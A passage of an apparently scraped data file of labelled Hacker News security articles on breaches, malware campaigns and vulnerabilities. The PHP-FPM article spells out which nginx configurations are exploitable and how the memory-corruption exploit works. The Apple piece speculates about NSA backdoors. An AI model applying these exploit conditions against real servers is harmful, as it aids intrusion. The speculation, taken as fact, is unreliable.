""A successful attack can be hard to detect and even harder to shift: the new settings can survive a router reboot, and even if the rogue DNS is disabled, the secondary DNS server is on hand to carry on.""
Researchers were able to access the attacker's command and control servers and found that the Switcher malware Trojan has compromised almost 1,300 routers, mainly in China and hijacked traffic within those networks.

The Bottom Line

Android users are required to download applications only from official Google's Play Store.

While downloading apps from third parties do not always end up with malware or viruses, it certainly ups the risk. So, it is the best way to avoid any malware compromising your device and the networks it accesses.

You can also go to Settings → Security and make sure ""Unknown sources"" option is turned off.

Moreover, Android users should also change their router's default login and passwords so that nasty malware like Switcher or Mirai, can not compromise their routers using a brute-force attack.

",Malware
Yahoo Confirms 500 Million Accounts Were Hacked by 'State Sponsored' Hackers,https://thehackernews.com/2016/09/yahoo-data-breach.html,"500 million accounts — that's half a Billion users!

That's how many Yahoo accounts were compromised in a massive data breach dating back to 2014 by what was believed to be a ""state sponsored"" hacking group.

Over a month ago, a hacker was found to be selling login information related to 200 million Yahoo accounts on the Dark Web, although Yahoo acknowledged that the breach was much worse than initially expected.

""A recent investigation by Yahoo! Inc. has confirmed that a copy of certain user account information was stolen from the company's network in late 2014 by what it believes is a state-sponsored actor,"" reads the statement.

Yahoo is investigating the breach with law enforcement agency and currently believes that users' names, email addresses, dates of birth, phone numbers, passwords, and in some cases, encrypted and unencrypted security questions-answers were stolen from millions of Yahoo users.

However, the company does not believe the stolen information includes credit card information or any bank details of the affected users.

Yahoo has been criticized for its slow response to the data breach, but it is now in the process of notifying affected customers via emails and asking them to change their passwords, as well as security questions.

At this moment Yahoo did not provide any evidence on why it believed the breach was work of state-sponsored hackers.

Despite millions of people affected by the breach, the biggest victim here seems to be Yahoo itself.

The data breach reports come just as the company is trying to negotiate a deal to sell itself to Verizon for $4.8 Billion. So, if the breach reports negatively impact its share price, even for the time being, it could cost the company and its shareholders a slice of its buyout value.

Over past few months, a large number of data breaches have been reported to plague companies like LinkedIn, MySpace, Tumblr, and VK.com as hackers put up for sale massive data dumps of user credentials stolen earlier in the decade.

Change your Password and Use Password Manager

Needless to say, users should immediately change their Yahoo account password. The company will also be prompting anyone who hasn't changed their password since 2014 to do so now.
""Additionally, Yahoo asks users to consider using Yahoo Account Key, a simple authentication tool that eliminates the need to use a password altogether,"" Yahoo suggests.
Also make sure that you also change your passwords on other online accounts if they use the same password, and enable two-factor authentication for online accounts immediately.

And once again, a strong recommendation: Don't reuse passwords.

If you are unable to remember different passwords for each site, you can adopt a good password manager that allows you to create complex passwords for various sites as well as remember them for you.

We have recently listed some best password managers that could help you understand the importance of password managers and help you choose a suitable one, according to your requirement.

",Data_Breaches
NSA Accidentally Took Down Syria's Internet While Infiltrating Central Router System,https://thehackernews.com/2014/08/nsa-accidentally-took-down-syrias.html,"Before proceeding towards the story, let's first go back two years to figure out what was wrong when Syria was completely blackout - sudden disconnect from the Internet - which lasted for the period of three days in 2012. Is that the Syrian government behind the blackout ?

The outage took place during a period of intense fighting in the country's still-ongoing civil war. So, it was supposed that may it be the government's fault. But, the Syrian Minister of Information said that the government didn't disable the Internet, instead the outage was caused by a cable being cut by some terrorists. When investigated, it was unlikely to be the case.

So, Who was actually behind Syria Blackout ? NSA? Yup! It was the same NSA who was behind a number of major happenings.

National Security Agency (NSA) – the God-like powered agency that had ruled over the privacy of the entire world from countries to individuals, the one with master access to read anyone's data, intruded into large fiber networks, and can target anyone, at any time and at any place.

SECRET BEHIND SYRIA'S 2012 INTERNET BLACKOUT
The new revelation from the global surveillance whistleblower Edward Snowden remove the mask from one more Agency's secret – a 2012 incident that took Syria's Internet offline was caused by a blunder made by none other than the National Security Agency.

In an interview with Wired magazine's well-known NSA journalist James Bamford published today, Snowden said that the elite hacking unit in the NSA, very well known as Tailored Access Operations (TAO), accidentally took most of Syria off the Internet while attempting to infiltrate the country's traffic.

WHAT IF NSA SUCCESSFUL
The TAO unit had allegedly been attempting to install malware by exploiting a vulnerability in the router of Syria's main Internet service provider that would have allowed the agency to redirect traffic from the central router through systems tapped by NSA's Turmoil packet capture system and the Xkeyscore packet processing system.

This would have given the agency access to enclosures in e-mails that would otherwise not have been possible by its wider Internet surveillance program.

THAT Oops ! MOMENT
Instead, the TAO's hackers successfully executed it, the plan backfired as the unit accidentally rendered the router - a very equipment it was trying to tap, causing Syria's internet connection to go dark. Snowden described the incident as an ""oh shit"" moment at the Tailored Access Operations center, where NSA feared of the moment if the Syrian government would discover what they had done.

The incident was really ironic - where other parts of the U.S. government were trying to keep Syria connected, the TAO unit was trying to repair the router and cover its tracks, to no avail.
""Fortunately for the NSA, the Syrians were apparently more focused on restoring the nation's Internet than on tracking down the cause of the outage,"" Bamford wrote. Snowden told him that someone joked, ""If we get caught, we can always point the finger at Israel.""
It had been largely assumed that the outage had been caused by one of the opposing parties within Syria, be it the government itself or rebels. It was thought because since then, a number of times Syria's internet has gone dark, so it isn't wrong to continue assuming the same when outages occur. While the Syrian government blamed dissenting ""terrorists"" for the outage caused.

This recent Snowden's disclosure describes an embarrassing part of US intelligence agency though, but at the same time, the disclosure also made the list of culprits that people will consider when similar incidents occur in the future.

",Malware
5 Critical Steps to Recover From a Ransomware Attack,https://thehackernews.com/2021/06/5-critical-steps-to-recovering-from.html,"Hackers are increasingly using ransomware as an effective tool to disrupt businesses and fund malicious activities.
A recent analysis by cybersecurity company Group-IB revealed ransomware attacks doubled in 2020, while Cybersecurity Ventures predicts that a ransomware attack will occur every 11 seconds in 2021.
Businesses must prepare for the possibility of a ransomware attack affecting their data, services, and business continuity. What steps are involved in recovering from a ransomware attack?
Isolate and shutdown critical systems
Enact your business continuity plan
Report the cyberattack
Restore from backup
Remediate, patch, and monitor
Isolate and shutdown critical systems
The first important step is to isolate and shut down business-critical systems. There is a chance the ransomware has not affected all accessible data and systems. Shutting down and isolating both infected systems and healthy systems helps contain malicious code.
From the first evidence of ransomware on the network, containment should be a priority. Containment and isolation can include isolating systems from a network perspective or powering them down altogether.
Enact your business continuity plan
The business continuity plan and its disaster recovery component are essential to maintaining some level of business operations.
The business continuity plan is a step-by-step playbook that helps all departments understand how the business operates in times of disaster or other business-altering scenarios. The disaster recovery component details how critical data and systems can be restored and brought back online.
Report the cyberattack
Many businesses may hesitate to do so, but reporting the attack to customers, stakeholders, and law enforcement is essential. Law enforcement agencies can provide access to resources that may not be available otherwise.
You will also need to consider compliance regulations. The GDPR, for example, provides businesses with a 72-hour window to disclose a data breach involving customers' personal information.
Restore from backup
The best protective measure you have for your data is backups. However, restoring large quantities of data can be time-consuming, forcing the business to be offline for an extended period of time.
This situation highlights the need to discover and contain ransomware infections as quickly as possible to reduce the amount of data that needs recovering.
Remediate, patch, and monitor
In the final phase of recovering from a ransomware attack, companies remediate the ransomware infection, patch systems that may have led to the initial ransomware compromise, and monitor the environment closely for further malicious activity.
It is not unheard of for malicious activity to continue, even if the ransom is paid, or if infected systems were restored. If the same vulnerability exists that led to the initial attack, the environment can become compromised once again.
Remediate common entry points for ransomware
As businesses look to bolster the environment against ransomware and other malicious threats, it is crucial to look at the common entry points for these types of attacks.
Cyberattacks use phishing attacks to harvest stolen credentials which can then be used to launch a ransomware attack, or access systems directly.
Prevention and next steps
Businesses must not be careless in handling password security, especially with Active Directory user accounts. Unfortunately, Active Directory does not have good native security tools for securing passwords in line with today's password security policy requirements.
Specops Password Policy provides breached password protection, disallowed password lists, and many other robust security features to protect your environment. It takes the very basic password policies available in Active Directory and aligns them with modern guidance from NIST and other cybersecurity authorities.
Learn more about Specops Password Policy and download a free trial to protect your environment from vulnerable passwords.

",Malware
Hacker Selling 200 Million Yahoo Accounts On Dark Web,https://thehackernews.com/2016/08/hack-yahoo-account.html,"Hardly a day goes without headlines about any significant data breach. In the past few months, over 1 Billion account credentials from popular social network sites, including LinkedIn, Tumblr, MySpace and VK.com were exposed on the Internet.

Now, the same hacker who was responsible for selling data dumps for LinkedIn, MySpace, Tumblr and VK.com is now selling what is said to be the login information of 200 Million Yahoo! users on the Dark Web.

200 Million Yahoo! Logins for 3 BTC

The hacker, who goes by the pseudonym ""Peace"" or ""peace_of_mind,"" has uploaded 200 Million Yahoo! credentials up for sale on an underground marketplace called The Real Deal for 3 Bitcoins (US$1,824).

Yahoo! admitted the company was ""aware"" of the potential leak, but did not confirm the authenticity of the data.

The leaked database includes usernames, MD5-hashed passwords and date of births from 200 Million Yahoo! Users. In some cases, there is also the backup email addresses used for the account, country of origin, as well as the ZIP codes for United States users.

Easily Crackable Passwords

Since the passwords are MD5-encrypted, hackers could easily decrypt them using an MD5 decrypter available online, making Yahoo! users open to hackers.

In a brief description, Peace says the Yahoo! database ""most likely"" comes from 2012, the same year when Marissa Mayer became Yahoo's CEO.

Just last week, Verizon acquired Yahoo! for $4.8 Billion. So, the hacker decided to monetize the stolen user accounts before the data lose its value.

When reached out, the company said in a statement:

""We are committed to protecting the security of our users' information and we take such claim very seriously. Our security team is working to determine the facts...we always encourage our users to create strong passwords, or give up passwords altogether by using Yahoo Account Key, and use different passwords for different platforms.""

Use Password Managers to Secure Your Online Accounts

Although the company has not confirmed the breach, users are still advised to change their passwords (and keep a longer and stronger one using a good password manager) and enable two-factor authentication for online accounts immediately, especially if you are using the same password for multiple websites.

You can also adopt a good password manager that allows you to create complex passwords for different sites as well as remember them for you.

We have listed some best password managers here that could help you understand the importance of password manager and help you choose a suitable one, according to your requirement.

",Data_Breaches
China's Cyberspies Targeting Southeast Asian Government Entities,https://thehackernews.com/2021/07/chinas-cyberspies-targeting-southeast.html,"A sweeping and ""highly active campaign"" that originally set its sights on Myanmar has broadened its focus to strike a number of targets located in the Philippines, according to new research.
Russian cybersecurity firm Kaspersky, which first spotted the infections in October 2020, attributed them to a threat actor it tracks as ""LuminousMoth,"" which it connected with medium to high confidence to a Chinese state-sponsored hacking group called HoneyMyte or Mustang Panda, given its observed victimology, tactics, and procedures.
About 100 affected victims have been identified in Myanmar, while the number of victims jumped to nearly 1,400 in the Philippines, although the researchers noted that the actual targets were only a fraction of the initial numbers, including government entities located both within the two countries and abroad.
The goal of the attacks is to affect a wide perimeter of targets with the aim of hitting a select few that are of strategic interest, researchers Mark Lechtik, Paul Rascagneres, and Aseel Kayal said. Put differently, the intrusions are simultaneously wide-ranging and narrow-focused, enabling the threat acor to siphon intelligence from high-profile targets.
The infection vector used in the campaign involves sending a spear-phishing email to the victim containing a Dropbox download link that, when clicked, leads to a RAR archive that's designed to mimic a Word document. The archive file, for its part, comes with two malicious DLL libraries (""version.dll"" and ""wwlib.dll"") and two corresponding executable files that run the malware.
Upon successfully gaining a foothold, an alternative infection chain observed by Kaspersky leverages removable USB drives to propagate the malware to other hosts with the help of ""version.dll"". On the other hand, the purpose of ""wwlib.dll"" is to download a Cobalt Strike beacon on the compromised Windows system from a remote attacker-controlled domain.
In some instances, the attacks incorporated an extra step wherein the threat actor deployed a post-exploitation tool in the form of a signed-but-rogue version of Zoom video conferencing app, using it to hoover sensitive files to a command-and-control server. A valid digital certificate was used to sign the software in an effort to pass off the tool as benign. Also spotted on some infected machines was a second post-exploitation utility that steals cookies from Google Chrome browser.
LuminousMoth's malicious cyber operations and its possible ties to Mustang Panda APT may also be an attempt to shift tactics and update their defensive measures by re-tooling and developing new and unknown malware implants, Kaspersky noted, thus potentially obscuring any ties to their past activities and blurring their attribution to known groups.
""APT actors are known for the frequently targeted nature of their attacks. Typically, they will handpick a set of targets that in turn are handled with almost surgical precision, with infection vectors, malicious implants and payloads being tailored to the victims' identities or environment,"" Kaspersky researchers said.
""It's not often we observe a large-scale attack conducted by actors fitting this profile, usually due to such attacks being noisy, and thus putting the underlying operation at risk of being compromised by security products or researchers.""

",Malware
PayPal vulnerability : Hack any Paypal account within 30 seconds,https://thehackernews.com/2011/06/paypal-vulnerability-hack-any-paypal.html,"PayPal vulnerability : Hack any Paypal account within 30 seconds

UPDATE : This has been debunked, Paypal accounts are safe. https://thenextweb.com have spoken in depth to Matt Langley, the person who discovered the supposed issue, and it's clear why he assumed there was a serious security breach but the issue is far less serious than initially thought.

Matt Langley explains:

""It seems that the 'victim' had opened an account using an email address of mine, with extra characters thrown in, which Gmail ignores and accepts as the same email address, so it was gmail which uncorrupted the email address and sent the emails to me, not Paypal. I had previously reported an account set-up with fraudulent email address to Paypal many times in the past, but only yesterday noticed that the email address was different to mine, in a way which on any other email system in the world would be a different email address.""

OLD :
A security vulnerability in PayPal's systems makes it possible to gain full, unrestricted access to any account within 30 seconds, we've heard from Matt Langley of Integrated Computer Enterprises Limited.

The vulnerability lies in PayPal's forgotten password recovery features. Says Langley:

PayPal sends Password Forgotten Change tokens to unauthorized email addresses instead of the email address on the account. Once you follow the link they email, and change the password, you are given total access to that account. No trickery or sophisticated hacking is required. It's a bug in their email system that corrupts email addresses.

Once the attacker has access, there's nothing restricting their ability to siphon money out of the account.

The exploit is, of course, a direct violation of PayPal's privacy policy and a laundry list of laws, so don't try this at home, but PayPal needs to act as thieves aren't particularly concerned with such things.

",Vulnerability
Worlds first windows 8 Bootkit to be released at MalCon,https://thehackernews.com/2011/11/worlds-first-windows-8-bootkit-to-be.html,"Worlds first windows 8 Bootkit to be released at MalCon
It is amazing how fast security measures are bypassed by hackers. it seems Windows 8 is now Malconed! Peter Kleissner has created the world's first Windows 8 Bootkit which is planned to be released in India at the International Malware Conference MalCon.

An independent programmer and security analyst, peter was working for an anti-virus company from 2008 to 2009 and was speaker at the Black Hat and Hacking at Random technical security conferences. While his main operating fields are Windows security and analysis of new malware, his recent Important projects include the development of the Stoned Bootkit, a research project to subvert the Windows security model.

A bootkit is built upon the following broad parts:
Infector
Bootkit
Drivers
Plugins (the payload)
And as put by peter, those parts are easy to split up in a criminal organization: Teams A-D are writing on the different parts. If you are doing it right, Team D (the payload writers) need no internal knowledge of the bootkit! Peter's research website: https://www.stoned-vienna.com/

As per the MalCon website, peter's travel is still not confirmed citing VISA issues, however, there are chances that the presentation may be done over the video or a speaker may step in on behalf of peter and release it at MalCon.

",Malware
UniCredit Bank Suffers 'Data Incident' Exposing 3 Million Italian Customer Records,https://thehackernews.com/2019/10/unicredit-bank-data-breach.html,"UniCredit, an Italian global banking and financial services company, announced today that it suffered a security incident that leaked some personal information belonging to at least 3 million of its domestic customers.

Officially founded in 1870, UniCredit is Italy's biggest banking and financial services and one of the leading European commercial banks with more than 8,500 branches across 17 countries.

What happened? — Though UniCredit did not disclose any details on how the data incident happened, the bank did confirm that an unknown attacker has compromised a file created in 2015 containing three million records relating only to its Italian customers.

What type of information was compromised? — The leaked data contains personal information of 3 million customers, including their:


Names
Cities
Telephone numbers
Email addresses


What type of information was not compromised? — Unicredit confirmed that the compromised user records did not include any other personal data or bank details that would permit attackers access to customer accounts or allow unauthorized transactions.

What is UniCredit now doing? — The company immediately launched an internal investigation to investigate the incident and verify the extent of the breach, as well as informed all the relevant authorities, including law enforcement.

The company has also begun contacting all potentially affected customers by online banking notifications and/or post.

The bank also said it had placed additional security controls to harden the safety and security of its customers' data.

""Customer data safety and security is UniCredit's top priority, and since the 2016 launch of Transform 2019, the Group has invested an additional 2.4 billion euro in upgrading and strengthening its IT systems and cybersecurity,"" UniCredit said.

""In June 2019, the Group implemented a new strong identification process for access to its web and mobile services, as well as payment transactions. This new process requires a one-time password or biometric identification, further reinforcing its strong security and client protection.""

What affected customers should do now? — Affected customers should mainly be suspicious of phishing emails, which are usually the next step of cyber criminals with personal identifying information (PII) in hands in an attempt to trick users into giving away further details like passwords and banking information.

Though the compromised data doesn't include any banking or financial data, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank, if you find any.

This is not the first time when UniCredit has been a victim of such a data security incident. In 2017, the bank disclosed two similar data breaches—one occurred between September and October 2016 and another between June and July 2017— that affected nearly 400,000 Italian customers.
",Data_Breaches
Microsoft Releases Windows Security Updates For Critical Flaws,https://thehackernews.com/2020/11/microsoft-releases-windows-security.html,"Microsoft formally released fixes for 112 newly discovered security vulnerabilities as part of its November 2020 Patch Tuesday, including an actively exploited zero-day flaw disclosed by Google's security team last week.
The rollout addresses flaws, 17 of which are rated as Critical, 93 are rated as Important, and two are rated Low in severity, once again bringing the patch count over 110 after a drop last month.
The security updates encompass a range of software, including Microsoft Windows, Office and Office Services and Web Apps, Internet Explorer, Edge, ChakraCore, Exchange Server, Microsoft Dynamics, Windows Codecs Library, Azure Sphere, Windows Defender, Microsoft Teams, and Visual Studio.
Chief among those fixed is CVE-2020-17087 (CVSS score 7.8), a buffer overflow flaw in Windows Kernel Cryptography Driver (""cng.sys"") that was disclosed on October 30 by the Google Project Zero team as being used in conjunction with a Chrome zero-day to compromise Windows 7 and Windows 10 users.
For its part, Google released an update for its Chrome browser to address the zero-day (CVE-2020-15999) last month.
Microsoft's advisory about the flaw doesn't go into any details beyond the fact that it was a ""Windows Kernel Local Elevation of Privilege Vulnerability"" in part to restructure security advisories in line with the Common Vulnerability Scoring System (CVSS) format starting this month.
Outside of the zero-day, the update fixes a number of remote code execution (RCE) vulnerabilities impacting Exchange Server (CVE-2020-17084), Network File System (CVE-2020-17051), and Microsoft Teams (CVE-2020-17091), as well as a security bypass flaw in Windows Hyper-V virtualization software (CVE-2020-17040).
CVE-2020-17051 is rated 9.8 out of a maximum 10 on the CVSS score, making it a critical vulnerability. Microsoft, however, noted that the attack complexity of the flaw — the conditions beyond the attacker's control that must exist in order to exploit the vulnerability — is low.
As with the zero-day, the advisories associated with these security shortcomings are light on descriptions, with little to no information on how these RCE flaws are abused or which security feature in Hyper-V is being bypassed.
Other critical flaws fixed by Microsoft this month include memory corruption vulnerabilities in Microsoft Scripting Engine (CVE-2020-17052) and Internet Explorer (CVE-2020-17053), and multiple RCE flaws in HEVC Video Extensions Codecs library.
It's highly recommended that Windows users and system administrators apply the latest security patches to resolve the threats associated with these issues.
To install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update, or by selecting Check for Windows updates.

",Vulnerability
DigitalOcean Data Leak Incident Exposed Some of Its Customers Data,https://thehackernews.com/2020/05/digitalocean-data-breach.html,"DigitalOcean, one of the biggest modern web hosting platforms, recently hit with a concerning data leak incident that exposed some of its customers' data to unknown and unauthorized third parties.

Though the hosting company has not yet publicly released a statement, it did has started warning affected customers of the scope of the breach via an email.

According to the breach notification email that affected customers [1, 2] received, the data leak happened due to negligence where DigitalOcean 'unintentionally' left an internal document accessible to the Internet without requiring any password.

""This document contained your email address and/or account name (the name you gave your account at sign-up) as well as some data about your account that may have included Droplet count, bandwidth usage, some support or sales communications notes, and the amount you paid during 2018,"" the company said in the warning email as shown below.


Upon discovery, a quick digital investigation revealed that the exposed file containing customers' data was accessed by unauthorized third parties at least 15 times before the document was finally taken down.

""Our community is built on trust, so we are taking steps to make sure this doesn't happen again. We will be educating our employees on protecting customer data, establishing new procedures to alert us of potential exposures in a more timely manner, and making configuration changes to prevent future data exposure,"" the company added.

To be noted, this specific breach neither indicates the DigitalOcean website was compromised, nor the customers' login credentials were leaked to the attackers.

So, if you have an account with the hosting service, you don't have to rush into changing your password. However, the service also offers two-factor authentication that every user must enable to add an extra layer of security to their accounts.

The Hacker New has reached out to DigitalOcean for a comment, and the story will be updated with the response.

Update — A spokesperson for the company confirmed The Hacker News of the incident and shared a statement:

""We had a document that was discovered to be shared publicly and while we feel confident there was no malicious access to that document, we informed our customers regardless for transparency. Less than 1% of our customer base was impacted, and the only PII included in the file was account name and email address.

""This was not related to a malicious act to access our systems. Our customers trust us with their data and we believe that an unintended use of that data, no matter how small, is reason enough to be transparent.""

",Data_Breaches
Sharp rise in Android Malwares in Third Quarter of 2012,https://thehackernews.com/2012/10/sharp-rise-in-android-malwares-in-third.html,"Mobile industry watchers have long known that Android is under attack. The number of high risk and dangerous apps targeting Android users jumped from 30,000 in June to 175,000 in September, Trend Micro said in its third quarter security roundup.

While some apps are clearly criminal - such as those that secretly purchase premium smartphone services - others are more of a privacy threat. These include ""Aggressive Adware"" apps that collect more personal information than the user has authorized. App developers may even be aware of the problem, thanks to the existence of rogue ad networks.

""Though most adware is designed to collect user information, a fine line exists between collecting data for simple advertising use and violating one's privacy,"" Trend Micro said. ""Because adware normally collect user information for legitimate purposes, they can serve as an effective means to gather more data than some would want to give out.""

Many of these issues are less of a problem in the United States and more worrisome in other countries, such as China and Russia. In those countries, users commonly use third-party app stores, which have much more lax standards of security. A previous review of mobile threats by security firm Lookout estimated that more than 40 percent of the devices in Russia are infected by malicious software.

Trend Micro noted that fake versions of legitimate Android apps are the most prevalent type of Android malware. This quarter, data-stealers like Solar Charge and premium service abusers like Live Wallpapers in China or fake versions of best-selling apps that spread in Russia further raised concerns about the open nature of the Android ecosystem.

Researchers with Trend found evidence that a series of attacks linked to Chinese hackers that focused on Indian and Japanese military agencies, as well as Tibetan human-rights groups, may include component for infecting Android devices in the future. The Android apps were under development and could steal information as well as install additional components on the phone. Trend Micro also examined threat landscape for non-mobile endpoints.

",Malware
Apple's SSL Vulnerability might allow NSA to hack iOS Devices Remotely,https://thehackernews.com/2014/02/apples-ssl-vulnerability-may-allowed.html,"Just two days before Apple has disclosed a critical Security flaw in the SSL implementation on the iOS software that would allow man-in-the-middle attacks to intercept the SSL data by spoofing SSL servers.

Dubbed as CVE-2014-1266, the so-called 'goto fail;' vulnerability in which the secure transport failed to validate the authenticity of the connection has left millions of Apple users vulnerable to Hackers and Spy Agencies, especially like the NSA.

Last Friday, Apple had also released updated version iOS 7.0.6 to patch the vulnerability, which was first discovered in Apple's iOS Devices, but later company had acknowledged its presence in Mac OSX also, that could allow hackers to intercept email and other communications that are meant to be encrypted in iPhone, iPad and Mac computer. Affected versions include iOS up to version 7.0.5 and OS X before 10.9.2.

Security Researchers confirmed, 'Nearly all encrypted traffic, including usernames, passwords, and even Apple app updates can be captured.' with man-in-the-middle attack.

Apple Vulnerability and NSA
I am sure; you still remember the NSA's DROPOUTJEEP Hacking Tool, implant for Apple iOS devices that allows the NSA to remotely control and monitor nearly all the features of an iPhone, including text messages, Geo-Location, microphone and the Camera.
DROPOUTJEEP program was developed in 2008 to conduct espionage on iPhone users, which was revealed by the documents provided by Edward Snowden a month ago. ""The initial release of DROPOUTJEEP will focus on installing the implant via close access methods."" document reads.

According to the vulnerability details published by a Google's Security Researcher 'Adam Langley', a basic mistake in a line of the SSL Encryption code almost screwed up the iOS SSL certificate verification process with an open invitation for the NSA's Prying Eyes.

""This sort of subtle bug deep in the code is a nightmare,"" Adam Langley said on his blog, ""I believe that it's just a mistake, and I feel very bad for whoever might have slipped in an editor and created it.""
Security researchers, Jacob Applebaum said last December, ""Either the NSA has a huge collection of exploits that work against Apple products, meaning that they are hoarding information about critical systems that American companies produce and sabotaging them, or Apple sabotaged it themselves.""

Although, those old techniques are no longer in circulation, but the NSA has a track record of continually evading the privacy of users by exploiting vulnerabilities in various softwares and obviously NSA's capabilities have improved significantly in the past five years.

In the DROPOUTJEEP document, the NSA also admitted, 'A remote installation capability will be pursued for a future release.' That means, it's practically possible that the NSA had already discovered this iOS SSL flaw in an effort to hack iPhone users' remotely by sniffing data and spoofing them to install malware.

An Unanswered Question
'Was the Apple intentionally injected backdoors for NSA or the flaw was an accident???' If it was an accident, then Apple would have been able to release patches for both iOS and Mac OS X at the same time, instead of releasing the patches for both, it silently released a fix for iOS devices on Friday night, but when the cryptographers and security experts began criticizing the company for leaving OS X without the patch, they finally acknowledged Mac OS X too; But it's the 4th day after disclosure and no patch yet has been released for Mac OS X.

Also, Apple contacted CVE (Common Vulnerabilities and Errors database) on 8th January 2014 to reserve the bug number CVE 2014-1266 for the SSL vulnerability and later they have released updated iOS 7.1, which was also vulnerable to the flaw that Apple had already discovered.

However, Apple categorically denied working with the NSA on a backdoor after it was accused last December of creating a way for the US intelligence agency NSA to access contacts and other data in iPhones.

On Dec. 31, Apple spokesperson released a statement saying:
""Apple has never worked with the NSA to create a backdoor in any of our products, including iPhone. Additionally, we have been unaware of this alleged NSA program targeting our products. Whenever we hear about attempts to undermine Apple's industry-leading security, we thoroughly investigate and take appropriate steps to protect our customers. We will continue to use our resources to stay ahead of malicious hackers and defend our customers from security attacks, regardless of who's behind them.""
In 2013, The US Department of Defense passed Apple's iOS 6 for the Government use, that means if the NSA was aware of this flaw, they didn't seem to have informed them.

To Check, whether your web browser is vulnerable to SSL flaw, Click here and to be safe, you are recommended to use an alternate web browser, rather than Safari web browser and avoid using public and unsecured networks.

UPDATE: Apple has finally today releases Mac OS X 10.9.2, which includes a fix for a major SSL security flaw and bringing with it a number of ""improvements to the stability, compatibility and security of your Mac.""

",Vulnerability
New PHP Flaw Could Let Attackers Hack Sites Running On Nginx Servers,https://thehackernews.com/2019/10/nginx-php-fpm-hacking.html,"If you're running any PHP based website on NGINX server and have PHP-FPM feature enabled for better performance, then beware of a newly disclosed vulnerability that could allow unauthorized attackers to hack your website server remotely.

The vulnerability, tracked as CVE-2019-11043, affects websites with certain configurations of PHP-FPM that is reportedly not uncommon in the wild and could be exploited easily as a proof-of-concept (PoC) exploit for the flaw has already been released publicly.

PHP-FPM is an alternative PHP FastCGI implementation that offers advanced and highly-efficient processing for scripts written in PHP programming language.

The main vulnerability is an ""env_path_info"" underflow memory corruption issue in the PHP-FPM module, and chaining it together with other issues could allow attackers to remotely execute arbitrary code on vulnerable web servers.

The vulnerability was spotted by Andrew Danau, a security researcher at Wallarm while hunting for bugs in a Capture The Flag competition, which was then weaponized by two of his fellow researchers, Omar Ganiev and Emil Lerner, to develop a fully working remote code execution exploit.

Which PHP-based websites are vulnerable to hackers?

Though the publicly released PoC exploit is designed to specifically target vulnerable servers running PHP 7+ versions, the PHP-FPM underflow bug also affects earlier PHP versions and could be weaponized in a different way.

In brief, a website is vulnerable, if:

NGINX is configured to forward PHP pages requests to PHP-FPM processor,
fastcgi_split_path_info directive is present in the configuration and includes a regular expression beginning with a '^' symbol and ending with a '$' symbol,
PATH_INFO variable is defined with fastcgi_param directive,
There are no checks like try_files $uri =404 or if (-f $uri) to determine whether a file exists or not.

This vulnerable NGINX and PHP-FPM configuration looks like the following example:


Here, the fastcgi_split_path_info directive is used to split the URL of PHP web pages into two parts, the value of one help PHP-FPM engine to learn the script name and the other one contains its path info.

How does PoC RCE exploit for PHP FPM work?

According to the researchers, the sample regular expression, which defines the fastcgi_split_path_info directive, as shown, can be manipulated by using the newline character in a way that the split function eventually sets the path info empty.

Next, since there is an arithmetic pointer in FPM code that incorrectly assumes that env_path_info has a prefix equal to the path to the php script without actually verifying the existence of the file on the server, the issue can be exploited by an attacker to overwrite data in the memory by requesting specially crafted URLs of the targeted websites.



In the background, the PoC exploit [1 (PHuiP-FPizdaM), 2 ] researchers released chains together both these issues to manipulate the memory and add custom php.ini values, as shown in the screenshot, in the PHP-FPM configuration file of a targeted server, allowing attackers to execute arbitrary code using a web-shell.


""Using a carefully chosen length of the URL path and query string, an attacker can make path_info point precisely to the first byte of _fcgi_data_seg structure. Putting zero into it moves `char* pos` field backward, and following FCGI_PUTENV overwrites some data (including other fast cgi variables) with the script path,"" researchers said in a bug report submitted to the PHP project.

""Using this technique, I was able to create a fake PHP_VALUE fcgi variable and then use a chain of carefully chosen config values to get code execution.""

PHP 7 updates released to patch FPM flaw

The list of preconditions for successful exploitation, as mentioned above, is not uncommon because the vulnerable configurations are being used by some of the web hosting providers and available on the Internet as part of many PHP FPM tutorials.

One such affected web hosting provider is Nextcloud who released an advisory yesterday warning its users that ""the default Nextcloud NGINX configuration is also vulnerable to this attack"" and recommending system administrators to take immediate actions.

A Patch for this vulnerability was released just yesterday, almost a month after researchers reported it to the PHP developer team.

Since the PoC exploit is already available and the patch released just yesterday, it's likely possible that hackers might have already started scanning the Internet in search for vulnerable websites.

So, users are strongly advised to update PHP to the latest PHP 7.3.11 and PHP 7.2.24. Just do it, even if you are not using the vulnerable configuration.

",Vulnerability
Thunderstrike — Infecting Apple MacBooks with EFI Bootkit via Thunderbolt Ports,https://thehackernews.com/2015/01/thunderstrike-infecting-apple-macbooks.html,"A security researcher has discovered an easy way to infect Apple's Macintosh computers with an unusual kind of malware using its own Thunderbolt port.

The hack was presented by programming expert Trammell Hudson at the annual Chaos Computer Congress (30C3) in Hamburg Germany. He demonstrated that it is possible to rewrite the firmware of an Intel Thunderbolt Mac.

The hack, dubbed Thunderstrike, actually takes advantage of a years-old vulnerability in the Thunderbolt Option ROM that was first disclosed in 2012 but is yet to be patched. Thunderstrike can infect the Apple Extensible Firmware Interface (EFI) by allocating a malicious code into the boot ROM of an Apple computer through infected Thunderbolt devices.

The hack is really dangerous as, according to the researcher, there is no means for the user to detect the hack, or remove it even by re-installation of the complete OS X, only because the malicious code actually is in the system's own separate ROM.
""Since the boot ROM is independent of the operating system, reinstallation of OS X will not remove it. Nor does it depend on anything stored on the disk, so replacing the hard drive has no effect. A hardware in-system-programming device is the only way to restore the stock firmware.""
Hudson also showed that he could replace Apple's own cryptographic key with a new one, which will prevent legitimate firmware updates from being accepted.
""There are neither hardware nor software cryptographic checks at boot time of firmware validity, so once the malicious code has been flashed to the ROM, it controls the system from the very first instruction,"" Trammell Hudson said. ""It could use SMM and other techniques to hide from attempts to detect it.""
In addition to writing a custom code to the boot ROM, Hudson's presentation also notes a method by which the bootkit could replicate itself to any attached Thunderbolt device, giving it the ability to spread across even air-gapped networks.

In short, an attacker could use the vulnerable Thunderbolt port to install a custom bootkit, which could even replicate itself to any other Thunderbolt-attached device, thereby spreading all over across the networks.

You can watch the entire presentation given by Hudson below and can also refer this blog post to know more about Thunderstrike.

As far as Hudson knows, there are no Mac firmware bootkits in the wild and at this time, it exists only as a proof-of-concept. So, we can presume that the vulnerability can only be exploited if the attacker has physical access to the Thunderbolt Mac. Therefore, a regular Mac user need not to worry about the hack.

Apple has already patched part of the vulnerability in the latest Mac mini and on the iMac with 5K Retina Display, which will soon be available for other Macs.

